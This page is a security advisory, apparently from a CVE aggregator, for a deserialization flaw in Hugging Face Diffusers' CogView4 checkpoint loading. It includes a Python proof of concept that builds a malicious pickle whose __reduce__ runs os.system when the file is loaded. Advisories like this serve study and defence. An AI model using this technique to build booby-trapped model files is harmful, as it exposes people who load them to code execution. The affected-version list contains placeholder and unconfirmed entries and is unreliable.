Security Vulnerability Report
中文
CVE-2025-14922 CVSS 7.8 HIGH

CVE-2025-14922

Published: 2025-12-23 21:15:47
Last Modified: 2026-04-15 00:35:42

Description

Hugging Face Diffusers CogView4 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Diffusers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27424.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Hugging Face Diffusers CogView4 < 修复版本
Hugging Face Diffusers < 0.31.0 (待确认)
所有使用Diffusers库加载CogView4模型且未进行输入验证的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2025-14922 PoC - Hugging Face Diffusers CogView4 Deserialization RCE WARNING: This code is for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27424 """ import pickle import os import sys class MaliciousPayload: """ Malicious class that executes code during deserialization. This demonstrates the deserialization vulnerability in Diffusers CogView4. """ def __reduce__(self): # This will execute when the object is deserialized cmd = "echo 'CVE-2025-14922 Exploited - RCE via Deserialization' > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """ Generate a malicious checkpoint file that exploits the deserialization vulnerability. In real attack scenario, this would be disguised as a CogView4 checkpoint. """ malicious_data = { 'model_weights': MaliciousPayload(), 'model_type': 'cogview4', 'version': '1.0' } with open(output_path, 'wb') as f: pickle.dump(malicious_data, f) print(f"[+] Malicious checkpoint generated: {output_path}") print("[+] When loaded by vulnerable Diffusers CogView4, it will execute arbitrary code") def simulate_vulnerable_loading(checkpoint_path): """ Simulate the vulnerable loading behavior in Diffusers. This demonstrates how the malicious checkpoint triggers code execution. """ print(f"\n[!] Simulating vulnerable Diffusers CogView4 checkpoint loading...") print(f"[!] Loading checkpoint from: {checkpoint_path}") try: with open(checkpoint_path, 'rb') as f: # This is the vulnerable operation - unpickling untrusted data checkpoint_data = pickle.load(f) print("[!] Checkpoint loaded successfully (code already executed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14922 PoC - Diffusers CogView4 Deserialization RCE") print("=" * 60) # Step 1: Generate malicious checkpoint malicious_file = "malicious_cogview4_checkpoint.pkl" generate_malicious_checkpoint(malicious_file) # Step 2: Simulate vulnerable loading simulate_vulnerable_loading(malicious_file) # Step 3: Verify exploitation if os.path.exists("/tmp/pwned.txt"): print("[+] Exploitation successful! Check /tmp/pwned.txt") print("\n[!] Note: Real attack requires social engineering to get victim to load this checkpoint")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14922", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:47.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Diffusers CogView4 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Diffusers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27424."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1142/", "source": "[email protected]"}]}}